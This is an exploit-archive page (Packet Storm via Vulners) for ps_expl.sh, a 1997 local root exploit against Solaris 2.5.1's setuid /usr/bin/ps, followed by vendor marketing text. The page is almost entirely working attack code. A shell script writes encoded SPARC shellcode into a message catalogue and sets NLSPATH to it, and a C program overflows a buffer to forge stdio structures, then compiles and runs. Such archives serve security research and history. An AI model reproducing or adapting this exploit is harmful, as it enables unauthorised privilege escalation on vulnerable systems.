Lucene search
K

ps_expl.sh

🗓️ 17 Aug 1999 00:00:00Reported by Packet StormType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 40 Views

Exploit code for Solaris 2.5.1 targeting /usr/bin/ps, includes buffer manipulation techniques.

Code
`--- ps_expl.sh: cut here ---  
#!/bin/sh  
#  
# Exploit for Solaris 2.5.1 /usr/bin/ps # J. Zbiciak, 5/18/97  
#  
  
# change as appropriate  
CC=gcc  
  
# Build the "replacement message" :-) cat > ps_expl.po << E_O_F  
domain "SUNW_OST_OSCMD"  
msgid "usage: %s\n%s\n%s\n%s\n%s\n%s\n%s\n" msgstr  
"\055\013\330\232\254\025\241\156\057\013\332\334\256\025  
\343\150\220\013\200\016\222\003\240\014\224\032\200\012\234  
\003\240\024\354\073\277\354\300\043\277\364\334\043\277\370  
\300\043\277\374\202\020\040\073\221\320\040\010\220\033\300  
\017\202\020\040\001\221\320\040\010" E_O_F  
  
msgfmt -o /tmp/foo ps_expl.po  
  
# Build the C portion of the exploit cat > ps_expl.c << E_O_F  
  
/*****************************************/   
/* Exploit for Solaris 2.5.1 /usr/bin/ps */   
/* J. Zbiciak, 5/18/97 */   
/*****************************************/   
#include <stdio.h>  
#include <stdlib.h>  
#include <sys/types.h>  
#include <unistd.h>  
  
#define BUF_LENGTH (632)  
#define EXTRA (256)  
  
int main(int argc, char *argv[])  
{  
char buf[BUF_LENGTH + EXTRA];  
/* ps will grok this file for the exploit code */  
char *envp[]={"NLSPATH=/tmp/foo",0}; u_long *long_p;  
u_char *char_p;  
/* This will vary depending on your libc */  
u_long proc_link=0xef70ef70;  
int i;  
  
long_p = (u_long *) buf;  
  
/* This first loop smashes the target buffer for optargs */  
for (i = 0; i < (96) / sizeof(u_long); i++)  
*long_p++ = 0x10101010;  
  
/* At offset 96 is the environ ptr -- be careful not to mess it up */   
*long_p++=0xeffffcb0;  
*long_p++=0xffffffff;  
  
/* After that is the _ctype table. Filling with 0x10101010 marks the  
entire character set as being "uppercase printable". */  
for (i = 0; i < (BUF_LENGTH-104) / sizeof(u_long); i++)  
*long_p++ = 0x10101010;  
  
/* build up _iob[0] (Ref: /usr/include/stdio.h, struct FILE) */   
*long_p++ = 0xFFFFFFFF; /* num chars in buffer */  
*long_p++ = proc_link; /* pointer to chars in buffer */   
*long_p++ = proc_link; /* pointer to buffer */  
*long_p++ = 0x0501FFFF; /* unbuffered output on stream 1 */  
/* Note: "stdin" is marked as an output stream. Don't sweat it. :-) */  
  
/* build up _iob[1] */  
*long_p++ = 0xFFFFFFFF; /* num chars in buffer */   
*long_p++ = proc_link; /* pointer to chars in buffer */   
*long_p++ = proc_link; /* pointer to buffer */  
*long_p++ = 0x4201FFFF; /* line-buffered output on stream 1 */  
  
/* build up _iob[2] */  
*long_p++ = 0xFFFFFFFF; /* num chars in buffer */   
*long_p++ = proc_link; /* pointer to chars in buffer */   
*long_p++ = proc_link; /* pointer to buffer */  
*long_p++ = 0x4202FFFF; /* line-buffered output on stream 2 */  
  
*long_p =0;  
  
/* The following includes the invalid argument '-z' to force the  
usage msg to appear after the arguments have been parsed. */  
execle("/usr/bin/ps", "ps", "-z", "-u", buf, (char *) 0, envp);  
perror("execle failed");  
  
return 0;  
}  
E_O_F  
  
# Compile it  
$CC -o ps_expl ps_expl.c  
  
# And off we go!  
exec ./ps_expl  
  
--- EOF ---`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation